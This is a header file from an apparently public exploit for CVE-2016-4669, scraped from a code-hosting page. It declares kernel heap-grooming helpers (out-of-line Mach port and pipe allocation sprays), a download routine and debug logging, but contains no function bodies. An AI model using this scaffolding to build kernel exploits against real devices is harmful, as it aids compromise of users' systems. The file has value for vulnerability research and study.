Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4669/utils.h
Views: 11780
#ifndef UTILS_H1#define UTILS_H23@import Foundation;4#include <stdio.h>5#include <dlfcn.h>6#include <stdlib.h>7#include <fcntl.h>8#include <unistd.h>9#include <sys/attr.h>10#include <mach/mach.h>11#include <sys/mman.h>12#include <sys/types.h>13#include <sys/stat.h>14#include <sys/syscall.h>15#include <sys/mount.h>16#include <spawn.h>17#include <sys/sysctl.h>18#include <sys/types.h> /* See NOTES */19#include <sys/socket.h>2021#include <stdint.h>22#include <CoreFoundation/CoreFoundation.h>2324typedef mach_port_t io_object_t;25typedef io_object_t io_iterator_t;26typedef io_object_t io_service_t;27typedef char * io_buf_ptr_t;28typedef uintptr_t addr_t;2930void for_other_threads(void (^handler)(thread_act_t thread));31void set_nofile_limit();32int download(char *src, char *dest);33mach_port_t alloc_port();34kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cnt);35kern_return_t kalloc_page_ool_ports(mach_port_t port);36kern_return_t kalloc_8_ool_ports(mach_port_t port, mach_port_t ool_port);37void discard_message(mach_port_t port);38void hexdump(void *ptr, size_t n);39int pipe_create(int fds[2]);40int pipe_alloc(int fds[2], void *buf, size_t size);41void pipes_close(int *pipes, size_t count);42int pipes_create(int *pipes, size_t count);43int pipes_alloc(int *pipes, size_t count, char *pipe_buf);4445//#define DEBUG 146#ifdef DEBUG47#define LOG(str, args...) do { NSLog(@str, ##args); } while(0)48#else49#define LOG(str, args...) do {} while(0)50#endif5152#endif535455